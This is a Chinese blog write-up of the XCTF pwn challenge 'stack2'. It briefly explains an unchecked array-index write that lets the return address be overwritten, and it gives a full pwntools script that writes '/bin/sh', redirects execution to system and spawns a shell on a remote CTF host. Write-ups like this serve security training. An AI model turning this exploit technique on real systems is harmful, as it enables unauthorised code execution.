xctf pwn高手进阶题之stack2

程序读取一个数字n,然后根据数字n读取数字到缓冲区,在执行需修改操作时为判断是否越界,而是根据用户输入的数字进行修改,造成堆栈地址内容修改。只需修改返回值即可。此题提供了hackhere函数输出flag,本地执行正常,远程出错,提示找不到/bin/bash。此处,技巧是执行system(’sh’)代替system(’/bin/sh’)。
exp:
from pwn import *
p=remote(‘111.198.29.45’,‘49796’)
print p.recvuntil(‘How many numbers you have:’)
p.sendline(“1”)
print p.recvuntil(‘Give me your numbers’)
p.sendline(‘0’)

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('0')
p.recvuntil('new number:')
p.sendline("47")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('1')
p.recvuntil('new number:')
p.sendline("98")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('2')
p.recvuntil('new number:')
p.sendline("105")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('3')
p.recvuntil('new number:')
p.sendline("110")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('4')
p.recvuntil('new number:')
p.sendline("47")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('5')
p.recvuntil('new number:')
p.sendline("115")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('6')
p.recvuntil('new number:')
p.sendline("104")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('7')
p.recvuntil('new number:')
p.sendline("0")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('132')
p.recvuntil('new number:')
p.sendline("80")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('133')
p.recvuntil('new number:')
p.sendline("132")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('134')
p.recvuntil('new number:')
p.sendline("4")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('135')
p.recvuntil('new number:')
p.sendline("8")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('140')
p.recvuntil('new number:')
p.sendline("135")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('141')
p.recvuntil('new number:')
p.sendline("137")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('142')
p.recvuntil('new number:')
p.sendline("4")
print p.recv()

p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('143')
p.recvuntil('new number:')
p.sendline("8")		
print p.recv()

p.sendline('5')
p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值